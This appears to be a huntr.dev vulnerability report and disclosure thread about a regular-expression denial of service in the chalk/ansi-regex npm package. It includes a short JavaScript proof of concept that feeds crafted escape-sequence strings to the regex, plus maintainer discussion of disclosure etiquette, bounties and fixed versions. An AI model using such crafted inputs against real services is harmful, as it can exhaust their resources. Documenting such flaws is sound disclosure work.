```
Inefficient Regular Expression Complexity in chalk/ansi-
  regex
  ✓ Valid Reported on Sep 9th 2021
   Description
  It allows cause a denial of service when matching crafted invalid ANSI escape codes.
   Proof of Concept
    // PoC.mjs
    import ansiRegex from 'ansi-regex';
    for(var i = 1; i <= 50000; i++) {
       var time = Date.now();
        var attack_str = "\u001B["+";".repeat(i*10000);
        ansiRegex().test(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cos
   Impact
  This vulnerability is capable of exhausting system resources and leads to crashes.
  Occurrences
    JS index.js L3
CVE
Vulnerability Type
Affected Version
Visibility
Status
Found by
             Yeting Li
             Yeting Li
   Yeting Li submitted a patch a year ago
  Yeting Li a year ago
  Hi @admin, could you help me contact the maintainer to confirm the vulnerability and patch?
```

Z-Old a year ago Chat with us

Hey Yeting, of course. I've just sent security@tidelift.com an email, as per their security policy. I'll update you when we hear back from them. We have contacted a member of the chalk/ansi-regex team and are waiting to hear back Yeting Li a year ago Hi Ziding @admin, thanks for your efforts. The maintainer has now confirmed my disclosure and patch (see the commit). A chalk/ansi-regex maintainer a year ago @yetingli This is the second time you have been told to do a responsible closure. That means not submitting a pull request or open an issue until the report has been validated. The severity (and IMHO bounty) in this report is also too high. The issue affects pretty much no one as ansi-regex is mostly used for command-line tools, not in servers. Yeting Li a year ago Researcher Thank you for your reply@Sindre Sorhus. I just did a responsible closure on huntr.dev, but I accidentally pulled when I submitted the patch. Thank you again for your reminder! Yeting Li a year ago Researcher The bounty setting may be related to the popularity of the project? I'm not sure, you@Sindre A chalk/ansi-regex maintainer validated this vulnerability a year ago Yeting Li has been awarded the disclosure bounty 🗸 A chalk/ansi-regex maintainer marked this as fixed with commit 8d1d7c a year ago Yeting Li has been awarded the fix bounty 🗸 This vulnerability will not receive a CVE x index.js#L3 has been validated ✓ A chalk/ansi-regex maintainer a year ago Fixed in: 5.0.1: https://github.com/chalk/ansi-regex/releases/tag/v5.0.1 Jamie Slome a year ago CVE published! Yeting Li a year ago Researcher Thanks. Thayol 8 months ago 4.1.1: https://github.com/chalk/ansi-regex/releases/tag/v4.1.1

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(https://github.com/chalk/ansi-regex/pull/37)

This is a tag without a release. It includes the same fix as 5.0.1 and 6.0.1

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